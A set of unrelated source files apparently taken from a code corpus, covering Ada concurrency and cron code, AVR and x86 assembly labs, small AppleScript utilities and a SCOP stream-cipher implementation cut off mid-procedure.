MT32(i)(j):= MC3(i)(j);
end loop;
end loop;
MA3:=Calculation(x_3,minZ3,MT3,MX3,MT32);
T2.RESULT_T2(MA1,MA6,MA2,MA5);
T4.RESULT_T4(MA4);
for i in 1..H loop
for j in 1..N loop
MA(i)(j):=MA1(i)(j);
MA(H+i)(j):=MA2(i)(j);
MA(2*H+i)(j):=MA3(i)(j);
MA(3*H+i)(j):=MA4(i)(j);
MA(4*H+i)(j):=MA5(i)(j);
MA(5*H+i)(j):=MA6(i)(j);
end loop;
end loop;
Output(MA);
Put_Line("T3 finished");
end T3;
task body T4 is
MT4: MatrixH;
MT42: MatrixH;
MA4: MatrixH;
B4: VectorH;
C4: Vector2H;
MZ4: Matrix3H;
Z4: VectorH;
MX4: MatrixN;
MC4: MatrixH;
x_4 : Integer;
minZ4 : Integer := 99999;
begin
Put_Line("T4 started");
accept DATA_ZH (ZH : in VectorH) do
Z4 := ZH;
end DATA_ZH;
accept DATA_MZ3H (MZ : in Matrix3H) do
MZ4:=MZ;
end DATA_MZ3H;
accept DATA_MCH_BH (MCH : in MatrixH; BH: in VectorH) do
MC4 := MCH;
B4 := BH;
end DATA_MCH_BH;
T5.DATA_MZ2H(MZ4(H+1..3*H));
accept DATA_C2H_MX (C2H: in Vector2H; MX: in MatrixN) do
C4 := C2H;
MX4 := MX;
end DATA_C2H_MX;
T3.DATA_CH_MX(C4(1..H), MX4);
for I in 1..H loop
if Z4(I) < minZ4 then
minZ4 := Z4(I);
end if;
end loop;
T3.DATA_A4(minZ4);
accept DATA_A (A : in Integer) do
minZ4:=A;
end DATA_A;
x_4 := CalcX(B4, C4);
T3.DATA_X4(x_4);
accept DATA_X (X: in Integer) do
x_4 := X;
end DATA_X;
for i in 1..H loop
for j in 1..N loop
MT4(i)(j):= MZ4(i)(j);
MT42(i)(j):= MC4(i)(j);
end loop;
end loop;
MA4:=Calculation(x_4,minZ4,MT4,MX4,MT42);
accept RESULT_T4 (MA : out MatrixH) do
MA:= MA4;
end RESULT_T4;
Put_Line("T4 finished");
end T4;
task body T5 is
MT5: MatrixH;
MT52: MatrixH;
MA5: MatrixH;
B5: VectorH;
C5: Vector3H;
MZ5: Matrix2H;
Z5: VectorN;
MX5: MatrixN;
MC5: MatrixH;
x_5 : Integer := 0;
minZ5 : Integer := 99999;
begin
Put_Line("T5 started");
Input(Z5,1);
T2.DATA_Z3H(Z5(2*H+1..5*H));
T6.DATA_ZH(Z5(5*H+1..6*H));
T4.DATA_ZH(Z5(1..H));
accept DATA_C3H_MX (C3H: in Vector3H; MX: in MatrixN) do
C5 := C3H;
MX5 := MX;
end DATA_C3H_MX;
accept DATA_MCH_BH (MCH : in MatrixH; BH: in VectorH) do
MC5 := MCH;
B5 := BH;
end DATA_MCH_BH;
accept DATA_MZ2H (MZ2H : in Matrix2H) do
MZ5:=MZ2H;
end DATA_MZ2H;
T4.DATA_C2H_MX(C5(1..2*H), MX5);
T6.DATA_MZH(MZ5(H+1..2*H));
for I in 1..H loop
if Z5(I) < minZ5 then
minZ5 := Z5(I);
end if;
end loop;
T2.DATA_A5(minZ5);
accept DATA_A (A : in Integer) do
minZ5:=A;
end DATA_A;
x_5 := CalcX(B5, C5);
T2.DATA_X5(x_5);
accept DATA_X (X: in Integer) do
x_5 := X;
end DATA_X;
for i in 1..H loop
for j in 1..N loop
MT5(i)(j):= MZ5(i)(j);
MT52(i)(j):= MC5(i)(j);
end loop;
end loop;
MA5:=Calculation(x_5,minZ5,MT5,MX5,MT52);
accept RESULT_T5 (MA : out MatrixH) do
MA:= MA5;
end RESULT_T5;
Put_Line("T5 finished");
end T5;
task body T6 is
MT6: MatrixH;
MT62: MatrixH;
MA6: MatrixH;
B6: Vector2H;
C6: VectorN;
MZ6: MatrixH;
Z6: VectorH;
MX6: MatrixN;
MC6: Matrix2H;
x_6 : Integer;
minZ6 : Integer := 99999;
begin
Put_Line("T6 started");
Input(C6,1);
Input(MX6,1);
T1.DATA_C2H_MX(C6(1..2*H),MX6);
accept DATA_ZH (ZH: in VectorH) do
Z6 := ZH;
end DATA_ZH;
T5.DATA_C3H_MX(C6(2*H+1..5*H),MX6);
accept DATA_MC2H_B2H (MC2H : in Matrix2H; B2H: in Vector2H) do
MC6 := MC2H;
B6 := B2H;
end DATA_MC2H_B2H;
T5.DATA_MCH_BH(MC6(1..H),B6(1..H));
accept DATA_MZH (MZ : in MatrixH) do
MZ6:=MZ;
end DATA_MZH;
for I in 1..H loop
if Z6(I) < minZ6 then
minZ6 := Z6(I);
end if;
end loop;
T1.DATA_A6(minZ6);
accept DATA_A (A : in Integer) do
minZ6:=A;
end DATA_A;
x_6 := CalcX(B6, C6);
T1.DATA_X6(x_6);
accept DATA_X (X: in Integer) do
x_6 := X;
end DATA_X;
for i in 1..H loop
for j in 1..N loop
MT6(i)(j):= MZ6(i)(j);
MT62(i)(j):= MC6(H+i)(j);
end loop;
end loop;
MA6:=Calculation(x_6,minZ6,MT6,MX6,MT62);
accept RESULT_T6 (MA : out MatrixH) do
MA:= MA6;
end RESULT_T6;
Put_Line("T6 finished");
end T6;
begin
null;
end StartTasks;
begin
Put_Line ("Lab4 started");
StartTasks;
Put_Line ("Lab4 finished");
end main;
|
system_volminus.scpt | yantze/applescript-player-control | 2 | 546 | set volume output volume (output volume of (get volume settings) - 10) --100%
|
src/natools-cron.adb | faelys/natools | 0 | 14104 | ------------------------------------------------------------------------------
-- Copyright (c) 2014-2017, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
------------------------------------------------------------------------------
-- IMPLEMENTATION NOTE: --
-- In case of synchronized callbacks (same Origin and Period), there is a --
-- collision on the internal map key. Since it is not expected to happen --
-- often, a simple but not-so-efficient solution is used: --
-- When a collision is encountered, the callback is replaced by an --
-- Event_List callback seeded with the existing callback and the new one. --
-- When removing a callback, if it's not found directly, and second linear --
-- is performed, looking for Event_List objects and removing it from them. --
------------------------------------------------------------------------------
package body Natools.Cron is
function Create_Event_List
(Ref_1, Ref_2 : Callback_Refs.Reference)
return Callback_Refs.Reference;
-- Create an Event_List object containing Ref_1 and Ref_2,
-- and return a reference to it.
------------------------
-- Helper Subprograms --
------------------------
function "<" (Left, Right : Periodic_Time) return Boolean is
use type Ada.Calendar.Time;
begin
return Left.Origin < Right.Origin
or else (Left.Origin = Right.Origin
and then Left.Period < Right.Period);
end "<";
function Create_Event_List
(Ref_1, Ref_2 : Callback_Refs.Reference)
return Callback_Refs.Reference
is
function Create return Callback'Class;
function Create return Callback'Class is
Result : Event_List;
begin
Result.Append (Ref_1);
Result.Append (Ref_2);
return Result;
end Create;
begin
return Callback_Refs.Create (Create'Access);
end Create_Event_List;
----------------------
-- Public Interface --
----------------------
function Create
(Time : in Periodic_Time;
Callback : in Cron.Callback'Class)
return Cron_Entry is
begin
return Result : Cron_Entry do
Result.Set (Time, Callback);
end return;
end Create;
function Create
(Origin : in Ada.Calendar.Time;
Callback : in Cron.Callback'Class)
return Cron_Entry is
begin
return Result : Cron_Entry do
Result.Set (Origin, Callback);
end return;
end Create;
function Create
(Period : in Duration;
Callback : in Cron.Callback'Class)
return Cron_Entry is
begin
return Result : Cron_Entry do
Result.Set (Period, Callback);
end return;
end Create;
procedure Set
(Self : in out Cron_Entry;
Time : in Periodic_Time;
Callback : in Cron.Callback'Class)
is
function Create return Cron.Callback'Class;
function Create return Cron.Callback'Class is
begin
return Callback;
end Create;
begin
Self.Reset;
Self.Callback.Replace (Create'Access);
Database.Insert (Time, Self.Callback);
end Set;
procedure Set
(Self : in out Cron_Entry;
Origin : in Ada.Calendar.Time;
Callback : in Cron.Callback'Class) is
begin
Set (Self, (Origin, 0.0), Callback);
end Set;
procedure Set
(Self : in out Cron_Entry;
Period : in Duration;
Callback : in Cron.Callback'Class) is
begin
Set (Self, (Ada.Calendar.Clock, Period), Callback);
end Set;
overriding procedure Finalize (Object : in out Cron_Entry) is
begin
if not Object.Callback.Is_Empty then
Object.Reset;
end if;
end Finalize;
procedure Reset (Self : in out Cron_Entry) is
begin
if not Self.Callback.Is_Empty then
Database.Remove (Self.Callback);
Self.Callback.Reset;
end if;
end Reset;
------------------------
-- Protected Database --
------------------------
protected body Database is
procedure Insert
(Time : in Periodic_Time;
Callback : in Callback_Refs.Reference)
is
use type Ada.Calendar.Time;
Now : constant Ada.Calendar.Time := Ada.Calendar.Clock;
Actual_Time : Periodic_Time := Time;
begin
if Actual_Time.Period > 0.0 then
while Actual_Time.Origin < Now loop
Actual_Time.Origin := Actual_Time.Origin + Actual_Time.Period;
end loop;
end if;
if Map.Is_Empty then
if Global_Worker /= null and then Global_Worker.all'Terminated then
Unchecked_Free (Global_Worker);
end if;
if Global_Worker = null then
Global_Worker := new Worker;
end if;
else
if Actual_Time < Map.First_Key then
First_Changed := True;
end if;
end if;
declare
Position : Entry_Maps.Cursor;
Inserted : Boolean;
Previous : Callback_Refs.Reference;
begin
Map.Insert (Actual_Time, Callback, Position, Inserted);
if not Inserted then
Previous := Entry_Maps.Element (Position);
if Previous.Query.Data.all in Event_List then
if Callback.Query.Data.all in Event_List then
for I of Event_List (Callback.Query.Data.all).List loop
Append (Event_List (Previous.Update.Data.all), I);
end loop;
else
Append
(Event_List (Previous.Update.Data.all),
Callback);
end if;
elsif Callback.Query.Data.all in Event_List then
Prepend (Event_List (Callback.Update.Data.all), Previous);
Map.Replace_Element (Position, Callback);
else
Map.Replace_Element
(Position,
Create_Event_List (Previous, Callback));
end if;
end if;
end;
end Insert;
procedure Remove (Callback : in Callback_Refs.Reference) is
use type Callback_Refs.Reference;
Cursor : Entry_Maps.Cursor := Map.First;
Is_First : Boolean := True;
begin
while Entry_Maps.Has_Element (Cursor) loop
if Entry_Maps.Element (Cursor) = Callback then
Map.Delete (Cursor);
if Is_First then
First_Changed := True;
end if;
return;
end if;
Entry_Maps.Next (Cursor);
Is_First := False;
end loop;
Is_First := True;
Cursor := Map.First;
while Entry_Maps.Has_Element (Cursor) loop
if Entry_Maps.Element (Cursor).Update.Data.all in Event_List then
declare
Mutator : constant Callback_Refs.Mutator
:= Entry_Maps.Element (Cursor).Update;
List : Event_List renames Event_List (Mutator.Data.all);
Removed : Boolean;
begin
List.Remove (Callback, Removed);
if Removed then
if List.Is_Empty then
Map.Delete (Cursor);
if Is_First then
First_Changed := True;
end if;
end if;
return;
end if;
end;
end if;
Entry_Maps.Next (Cursor);
Is_First := False;
end loop;
end Remove;
procedure Update (Callback : in Callback_Refs.Reference) is
use type Callback_Refs.Reference;
Cursor : Entry_Maps.Cursor := Map.First;
begin
Search :
while Entry_Maps.Has_Element (Cursor) loop
if Entry_Maps.Element (Cursor) = Callback then
declare
Old_Time : constant Periodic_Time := Entry_Maps.Key (Cursor);
begin
Map.Delete (Cursor);
if Old_Time.Period > 0.0 then
Insert (Old_Time, Callback);
end if;
end;
exit Search;
end if;
Entry_Maps.Next (Cursor);
end loop Search;
end Update;
procedure Get_First
(Time : out Periodic_Time;
Callback : out Callback_Refs.Reference)
is
Cursor : constant Entry_Maps.Cursor := Map.First;
begin
if Entry_Maps.Has_Element (Cursor) then
Time := Entry_Maps.Key (Cursor);
Callback := Entry_Maps.Element (Cursor);
else
Callback := Callback_Refs.Null_Reference;
end if;
First_Changed := False;
end Get_First;
procedure Get_Event_List
(Source : in Event_List;
List : out Event_Lists.List) is
begin
List := Source.List;
end Get_Event_List;
entry Update_Notification when First_Changed is
begin
null;
end Update_Notification;
end Database;
-----------------
-- Worker Task --
-----------------
task body Worker is
Time : Periodic_Time;
Callback : Callback_Refs.Reference;
Waiting : Boolean;
begin
Main :
loop
Waiting := True;
Wait_Loop :
while Waiting loop
Database.Get_First (Time, Callback);
exit Main when Callback.Is_Empty;
select
Database.Update_Notification;
or
delay until Time.Origin;
Waiting := False;
end select;
end loop Wait_Loop;
Callback.Update.Data.Run;
Database.Update (Callback);
end loop Main;
end Worker;
----------------
-- Event List --
----------------
overriding procedure Run (Self : in out Event_List) is
Local_List : Event_Lists.List;
begin
Database.Get_Event_List (Self, Local_List);
for Ref of Local_List loop
Ref.Update.Data.Run;
end loop;
end Run;
procedure Append
(Self : in out Event_List;
Ref : in Callback_Refs.Reference) is
begin
Self.List.Append (Ref);
end Append;
procedure Prepend
(Self : in out Event_List;
Ref : in Callback_Refs.Reference) is
begin
Self.List.Prepend (Ref);
end Prepend;
procedure Remove
(Self : in out Event_List;
Ref : in Callback_Refs.Reference;
Removed : out Boolean)
is
use type Callback_Refs.Reference;
Cursor : Event_Lists.Cursor := Self.List.First;
begin
Removed := False;
while Event_Lists.Has_Element (Cursor) loop
if Event_Lists.Element (Cursor) = Ref then
Self.List.Delete (Cursor);
Removed := True;
return;
end if;
Event_Lists.Next (Cursor);
end loop;
end Remove;
function Is_Empty (Self : Event_List) return Boolean is
begin
return Self.List.Is_Empty;
end Is_Empty;
end Natools.Cron;
|
Lab 6/Lab 6/Caden_Verzino_Felipe_OrricoScognamiglio_Lab6_Sourcecode.asm | felipeorrico/ECE375-Assembly | 0 | 175971 | <reponame>felipeorrico/ECE375-Assembly
;***********************************************************
;*
;* Caden_Verzino_Felipe_OrricoScognamiglio_Lab6_Sourcecode.asm
;*
;* This code will keep the bot moving forward until it hits
;* the left or right whisker. That event then triggers an
;* interrupt, and the necessary code is executed
;*
;***********************************************************
;*
;* Author: <NAME> & <NAME>
;* Date: Feb. 11th, 2021
;*
;***********************************************************
.include "m128def.inc" ; Include definition file
;***********************************************************
;* Internal Register Definitions and Constants
;***********************************************************
.def mpr = r16 ; Multipurpose register
.def waitcnt = r17 ; Wait Loop Counter
.def ilcnt = r18 ; Inner Loop Counter
.def olcnt = r19 ; Outer Loop Counter
.def lcount = r7 ; Counter for left clicks
.def rcount = r6 ; Counter for right clicks
.def zero = r5
.equ WTime = 100 ; Time to wait in wait loop
.equ WskrR = 0 ; Right Whisker Input Bit
.equ WskrL = 1 ; Left Whisker Input Bit
.equ EngEnR = 4 ; Right Engine Enable Bit
.equ EngEnL = 7 ; Left Engine Enable Bit
.equ EngDirR = 5 ; Right Engine Direction Bit
.equ EngDirL = 6 ; Left Engine Direction Bit
;/////////////////////////////////////////////////////////////
;These macros are the values to make the TekBot Move.
;/////////////////////////////////////////////////////////////
.equ MovFwd = (1<<EngDirR|1<<EngDirL) ; Move Forward Command
.equ MovBck = $00 ; Move Backward Command
.equ TurnR = (1<<EngDirL) ; Turn Right Command
.equ TurnL = (1<<EngDirR) ; Turn Left Command
.equ Halt = (1<<EngEnR|1<<EngEnL) ; Halt Command
;***********************************************************
;* Start of Code Segment
;***********************************************************
.cseg ; Beginning of code segment
;***********************************************************
;* Interrupt Vectors
;***********************************************************
.org $0000 ; Beginning of IVs
rjmp INIT ; Reset interrup
; Set up interrupt vectors for any interrupts being used
.org $0002 ;INT0 Interrupt Vector
rcall HitRight ;interrupt handler
reti
.org $0004 ;INT1 interrupt vector
rcall HitLeft ;interrupt handler
reti
.org $0006 ;INT2 interrupt vector
rcall ClearRight ;interrupt handler
reti
.org $0008 ;INT3 interrupt vector
rcall ClearLeft ;interrupt handler
reti
.org $0046 ; End of Interrupt Vectors
;***********************************************************
;* Additional Program Includes
;***********************************************************
.include "LCDDriver.asm"
;***********************************************************
;* Program Initialization
;***********************************************************
INIT: ; The initialization routine
; Initialize the Stack Pointer
ldi mpr, low(RAMEND)
out SPL, mpr ; Load SPL with low byte of RAMEND
ldi mpr, high(RAMEND)
out SPH, mpr ; Load SPH with high byte of RAMEND
; Initialize Port B for output
ldi mpr, $FF ; Set Port B Data Direction Register
out DDRB, mpr ; for output
ldi mpr, $00 ; Initialize Port B Data Register
out PORTB, mpr ; so all Port B outputs are low
; Initialize Port D for input
ldi mpr, $00 ; Set Port D Data Direction Register
out DDRD, mpr ; for input
ldi mpr, $FF ; Initialize Port D Data Register
out PORTD, mpr ; so all Port D inputs are Tri-State
; Initialize the LCD Display
rcall LCDInit ; Initialize LCD Display
clr zero
ldi XL, $00 ; Pointing Y to $0100
ldi XH, $01 ; Pointing Y to $0100
mov mpr, zero ; load to-be-converted value into mpr
rcall Bin2ASCII ; convert value in ASCII
rcall LCDWrLn1
LDI XL, $10 ; Pointing Y to $0110
LDI XH, $01 ; Pointing Y to $0110
mov mpr, zero ; load to-be-converted value into mpr
rcall Bin2ASCII ; convert value in ASCII
RCALL LCDWrLn2
; Initialize external interrupts
; Set the Interrupt Sense Control to falling edge
ldi mpr, (1<<ISC01)|(0<<ISC00)|(1<<ISC11)|(0<<ISC10)|(0<<ISC20)|(0<<ISC21)|(0<<ISC30)|(0<<ISC31)
sts EICRA, mpr ; Use sts, EICRA is in extended I/O space
; Set the External Interrupt Mask
ldi mpr, (1<<INT0)|(1<<INT1)|(1<<INT2)|(1<<INT3)
out EIMSK, mpr
; Turn on interrupts
clr rcount
clr lcount
sei ; NOTE: This must be the last thing to do in the INIT function
;***********************************************************
;* Main Program
;***********************************************************
MAIN: ; The Main program
; Move Robot Forward
ldi mpr, MovFwd ; Load FWD command
out PORTB, mpr ; Send to motors
rjmp MAIN ; Infinite loop. End of program.
;***********************************************************
;* Functions and Subroutines
;***********************************************************
;----------------------------------------------------------------
; Sub: ClearRight
; Desc: Clears the counter for right wisker bumps and prints to
; LCD
;----------------------------------------------------------------
ClearRight:
rcall LCDClrLn1
ldi XL, $00 ; Pointing Y to $0100
ldi XH, $01 ; Pointing Y to $0100
mov rcount, zero
mov mpr, rcount ; load to-be-converted value into mpr
rcall Bin2ASCII ; convert value in ASCII
rcall LCDWrLn1
;clear interrupts
ldi mpr,0b00001111
out EIFR, mpr
ret
;----------------------------------------------------------------
; Sub: ClearLeft
; Desc: Clears the counter for left wisker bumps and prints to
; LCD
;----------------------------------------------------------------
ClearLeft:
rcall LCDClrLn2
ldi XL, $10 ; Pointing Y to $0110
ldi XH, $01 ; Pointing Y to $0110
mov lcount, zero
mov mpr, lcount ; load to-be-converted value into mpr
rcall Bin2ASCII ; convert value in ASCII
rcall LCDWrLn2
;clear interrupts
ldi mpr,0b00001111
out EIFR, mpr
ret
;----------------------------------------------------------------
; Sub: HitRight
; Desc: Handles functionality of the TekBot when the right whisker
; is triggered.
;----------------------------------------------------------------
HitRight:
push mpr ; Save mpr register
push waitcnt ; Save wait register
in mpr, SREG ; Save program state
push mpr ;
push waitcnt ; Wait Loop Counter
push ilcnt ; Inner Loop Counter
push olcnt ; Outer Loop Counter
; Move Backwards for a second
ldi mpr, MovBck ; Load Move Backward command
out PORTB, mpr ; Send command to port
ldi waitcnt, WTime ; Wait for 1 second
rcall Wait2 ; Call wait function
; Turn left for a second
ldi mpr, TurnL ; Load Turn Left Command
out PORTB, mpr ; Send command to port
ldi waitcnt, WTime ; Wait for 1 second
rcall Wait2 ; Call wait function
; Move Forward again
ldi mpr, MovFwd ; Load Move Forward command
out PORTB, mpr ; Send command to port
;add to counter, binary to ascii, print to lcd
inc rcount
; load parameters for Bin2ASCII
ldi XL, $00 ; Pointing Y to $0100
ldi XH, $01 ; Pointing Y to $0100
mov mpr, rcount ; load to-be-converted value into mpr
rcall Bin2ASCII ; convert value in ASCII
RCALL LCDWrLn1
;clear interrupts
ldi mpr,0b00001111
out EIFR, mpr
pop waitcnt ; Wait Loop Counter
pop ilcnt ; Inner Loop Counter
pop olcnt ; Outer Loop Counter
pop mpr ; Restore program state
out SREG, mpr ;
pop waitcnt ; Restore wait register
pop mpr ; Restore mpr
ret ; Return from subroutine
;----------------------------------------------------------------
; Sub: HitLeft
; Desc: Handles functionality of the TekBot when the left whisker
; is triggered.
;----------------------------------------------------------------
HitLeft:
push mpr ; Save mpr register
push waitcnt ; Save wait register
in mpr, SREG ; Save program state
push mpr ;
; Move Backwards for a second
ldi mpr, MovBck ; Load Move Backward command
out PORTB, mpr ; Send command to port
ldi waitcnt, WTime ; Wait for 1 second
rcall Wait2 ; Call wait function
; Turn right for a second
ldi mpr, TurnR ; Load Turn Left Command
out PORTB, mpr ; Send command to port
ldi waitcnt, WTime ; Wait for 1 second
rcall Wait2 ; Call wait function
; Move Forward again
ldi mpr, MovFwd ; Load Move Forward command
out PORTB, mpr ; Send command to port
pop mpr ; Restore program state
out SREG, mpr ;
pop waitcnt ; Restore wait register
pop mpr ; Restore mpr
;add to counter, binary to ascii, print to lcd
inc lcount
; load parameters for Bin2ASCII
ldi XL, $10 ; Pointing Y to $0100
ldi XH, $01 ; Pointing Y to $0100
mov mpr, lcount ; load to-be-converted value into mpr
rcall Bin2ASCII ; convert value in ASCII
RCALL LCDWrLn2
;clear interrupts
ldi mpr,0b00001111
out EIFR, mpr
ret ; Return from subroutine
;----------------------------------------------------------------
; Sub: Wait
; Desc: A wait loop that is 16 + 159975*waitcnt cycles or roughly
; waitcnt*10ms. Just initialize wait for the specific amount
; of time in 10ms intervals. Here is the general eqaution
; for the number of clock cycles in the wait loop:
; ((3 * ilcnt + 3) * olcnt + 3) * waitcnt + 13 + call
;----------------------------------------------------------------
Wait2:
push waitcnt ; Save wait register
push ilcnt ; Save ilcnt register
push olcnt ; Save olcnt register
Loop: ldi olcnt, 224 ; load olcnt register
OLoop: ldi ilcnt, 237 ; load ilcnt register
ILoop: dec ilcnt ; decrement ilcnt
brne ILoop ; Continue Inner Loop
dec olcnt ; decrement olcnt
brne OLoop ; Continue Outer Loop
dec waitcnt ; Decrement wait
brne Loop ; Continue Wait loop
pop olcnt ; Restore olcnt register
pop ilcnt ; Restore ilcnt register
pop waitcnt ; Restore wait register
ret ; Return from subroutine
|
scripts/terminal.applescript | emacsmirror/osa | 19 | 17 | -- This is free and unencumbered software released into the public domain.
on terminal(p as string)
-- Open a new Terminal.app window and cd to p (if p is a directory)
-- or cd to directory of p (if p is a file)
tell application "Finder"
try
set p to (p as POSIX file)
if kind of (info for p without size) is "folder" then
set d to p
else
set p to p as alias
set d to (get container of p) as text
end if
on error
set d to ""
end try
tell application "Terminal"
if d is "" then
do script ""
else
do script "cd " & (quoted form of POSIX path of d)
end if
activate
end tell
end tell
if d is "" then
set d to (path to home folder)
end if
return (POSIX path of d) as text
end terminal
|
002-assembly/sample-x86.asm | dingjingmaster/learn-kernel | 0 | 165942 | <gh_stars>0
.text
.global _start
_start:
movl $1, %eax # 1 ่กจ็คบ 32 ไฝ ็ณป็ป ็ exit
int $0x80
|
ciphers/scop.asm | FloydZ/Crypto-Hash | 11 | 22003 | comment *
Algorithm : SCOP ( Stream Cipher )
Abstract : SCOP is a stream cipher specially designed for
optimal software performance on the Intel Pentium processor. The
computational cost of SCOP on this processor is 1.5 clock cycles
per byte of text. The cipher is designed around one key-dependent
S-box, one part of which dynamically changes during the encryption
process and the other part is static. The cipher works in internal-
feedback mode (IFB). The keystream consist of 32-bit words and is
generated independently from the encrypted message.
Usage : invoke init_key,addr ptrInkey,ptrInkey_size ; ( SetKey )
invoke scop_encrypt,addr ptrInkey,ptrInkey_length,addr ptrOutdata ; ( Encrypt )
invoke scop_decrypt,addr ptrInkey,ptrInkey_length,addr ptrOutdata ; ( Decrypt )
Coded by x3chun ( 2004.05.06 )
( <EMAIL> or <EMAIL> ) ( http://x3chun.wo.to )
comment *
ST_KEY struct
v db 1536 dup(?)
i db ?
j db ?
t3 db ?
ST_KEY ends
expand_key proto :DWORD,:DWORD
gp8 proto :DWORD
.data
st_key ST_KEY <>
st_key_mov_ ST_KEY <>
st_key_mov__ ST_KEY <>
.data?
p dd 12 dup(?)
t db 16 dup(?)
newx dd 4 dup(?)
ii dd ?
_t2 dd ?
_loopscop dd ?
.code
ScopInit proc ptrInkey:DWORD, ptrInkey_size:DWORD
pushad
invoke expand_key,ptrInkey,ptrInkey_size
xor ecx,ecx
@_l1:
invoke gp8,addr t
inc ecx
cmp ecx,8
jl @_l1
lea esi,st_key.v
mov ebx,12
@_l3:
mov ecx,8
@_l2:
invoke gp8,esi
add esi,10h
loop @_l2
invoke gp8,addr t
dec ebx
jnz @_l3
invoke gp8,addr t
mov eax, dword ptr [t+12]
mov ebx,eax
mov ecx,eax
mov edx,eax
shr eax,24
shr ebx,16
shr ecx,8
mov [st_key.i],al
mov [st_key.j],bl
mov [st_key.t3],cl
and edx,7fh
mov ecx,dword ptr [edx*4+st_key.v]
or ecx,1
mov dword ptr [edx*4+st_key.v],ecx
call st_key_copy
popad
ret
ScopInit endp
expand_key proc ptrInkey:DWORD, ptrInkey_size:DWORD
mov esi,ptrInkey
mov edi,offset p
mov ecx,ptrInkey_size
cld
rep movsb
mov ebx,ptrInkey_size
mov ecx,48
sub ecx,ebx
xor edx,edx
@_r1:
mov al,byte ptr [p+edx]
mov bl,byte ptr [p+edx+1]
add al,bl
stosb
inc edx
loop @_r1
mov ecx,20
xor edx,edx
mov bl,1
@_r3:
mov al,byte ptr [p+edx]
test eax,eax
jnz @_r2
mov byte ptr [p+edx],bl
inc bl
@_r2:
inc edx
loop @_r3
ret
expand_key endp
gp8 proc ptrOutdata:DWORD
pushad
xor edx,edx
xor ebx,ebx ; i
mov ii,ebx
@_r1:
sar ebx,1
mov ecx,dword ptr [p+32+ebx*4]
shr ecx,10h ; x_1
mov edi,ecx
imul edi,ecx ; x_2
mov ebp,edi
imul ebp,ecx ; x_3
mov eax,ebp
imul eax,ecx ; x_4
mov dl, byte ptr [p+ebx*8]
imul eax,edx
mov dl,byte ptr [p+ebx*8+1]
imul ebp,edx
mov dl,byte ptr [p+ebx*8+2]
imul edi,edx
mov dl,byte ptr [p+ebx*8+3]
imul ecx,edx
add eax,ebp
add eax,edi
lea eax,[eax+ecx+1] ; y1
mov esi,eax
mov ecx,dword ptr [p+32+ebx*4]
and ecx,0ffffh ; x_1
mov edi,ecx
imul edi,ecx ; x_2
mov ebp,edi
imul ebp,ecx ; x_3
mov eax,ebp
imul eax,ecx ;x_4
mov dl,byte ptr [p+ebx*8+4]
imul eax,edx
mov dl,byte ptr [p+ebx*8+5]
imul ebp,edx
mov dl,byte ptr [p+ebx*8+6]
imul edi,edx
mov dl,byte ptr [p+ebx*8+7]
imul ecx,edx
add eax,ebp
add eax,edi
lea eax,[eax+ecx+1] ; y2
mov edi,esi ; y1
mov ecx,eax ; y2
shl esi,10h
and eax,0ffffh
or esi,eax ; out[]
and edi,0ffff0000h
shr ecx,10h
or edi,ecx ; newx[]
mov ecx,[esp+28h]
mov [ecx+ebx*4],esi ;esp+28h = ptrOutdata
mov [newx+ebx*4],edi
mov ebx,ii
add ebx,2
mov ii,ebx
cmp ebx,8
jl @_r1
mov eax,[newx] ; newx[0]
mov ebx,eax
shr eax,10h
shl ebx,10h
mov ecx,[newx+4] ; newx[1]
mov edx,ecx
shr ecx,10h
shl edx,10h
mov esi,[newx+8] ; newx[2]
mov edi,esi
shr esi,10h
shl edi,10h
or ebx,ecx ;[p+36]
or edx,esi ;[p+40]
mov esi,[newx+12] ; newx[3]
mov ecx,esi
shr esi,10h
shl ecx,10h
or eax,ecx ;[p+32]
or edi,esi ; [p+44]
mov [p+32],eax
mov [p+36],ebx
mov [p+40],edx
mov [p+44],edi
popad
ret
gp8 endp
ScopEncrypt proc ptrIndata:DWORD, ptrIndata_length:DWORD, ptrOutdata:DWORD
pushad
mov esi,[esp+28h] ; ptrIndata
mov edi,[esp+30h] ; ptrOutdata
mov ecx,[esp+2ch] ; ptrIndata_length
mov _loopscop,ecx
rep movsb
xor eax,eax
xor ebx,ebx
mov al,st_key.i
mov bl,st_key.j
mov cl,st_key.t3
mov esi,offset st_key_mov_.v
mov edx,[esp+30h] ; ptrOutdata
@loop:
push edx
mov ebp,[esi+200h+ebx*4] ; t1
mov edi,[esi+eax*4] ; t
add bl,cl ; j
and ebx,0ffh
mov edx,[esi+200h+ebx*4] ; t2
mov _t2,edx
inc al
add edi,_t2 ; t3=t2+t
mov ecx,edi
mov [esi+200h+ebx*4],edi
add ebp,_t2
add bl,byte ptr [_t2]
pop edx
add [edx],ebp
add edx,4
sub _loopscop,4
jnz @loop
popad
ret
ScopEncrypt endp
ScopDecrypt proc ptrIndata:DWORD, ptrIndata_length:DWORD, ptrOutdata:DWORD
pushad
mov esi,[esp+28h] ; ptrIndata
mov edi,[esp+30h] ; ptrOutdata
mov ecx,[esp+2ch] ; ptrIndata_length
mov _loopscop,ecx
rep movsb
xor eax,eax
xor ebx,ebx
mov al,st_key.i
mov bl,st_key.j
mov cl,st_key.t3
mov esi,offset st_key_mov__.v
mov edx,[esp+30h] ; ptrOutdata
@loop:
push edx
mov ebp,[esi+200h+ebx*4] ; t1
mov edi,[esi+eax*4] ; t
add bl,cl ; j
and ebx,0ffh
mov edx,[esi+200h+ebx*4] ; t2
mov _t2,edx
inc al
add edi,_t2 ; t3=t2+t
mov ecx,edi
mov [esi+200h+ebx*4],edi
add ebp,_t2
add bl,byte ptr [_t2]
pop edx
sub [edx],ebp
add edx,4
sub _loopscop,4
jnz @loop
popad
ret
ScopDecrypt endp
st_key_copy proc
lea esi,st_key.v
lea edi,st_key_mov_.v
mov ecx,sizeof st_key.v
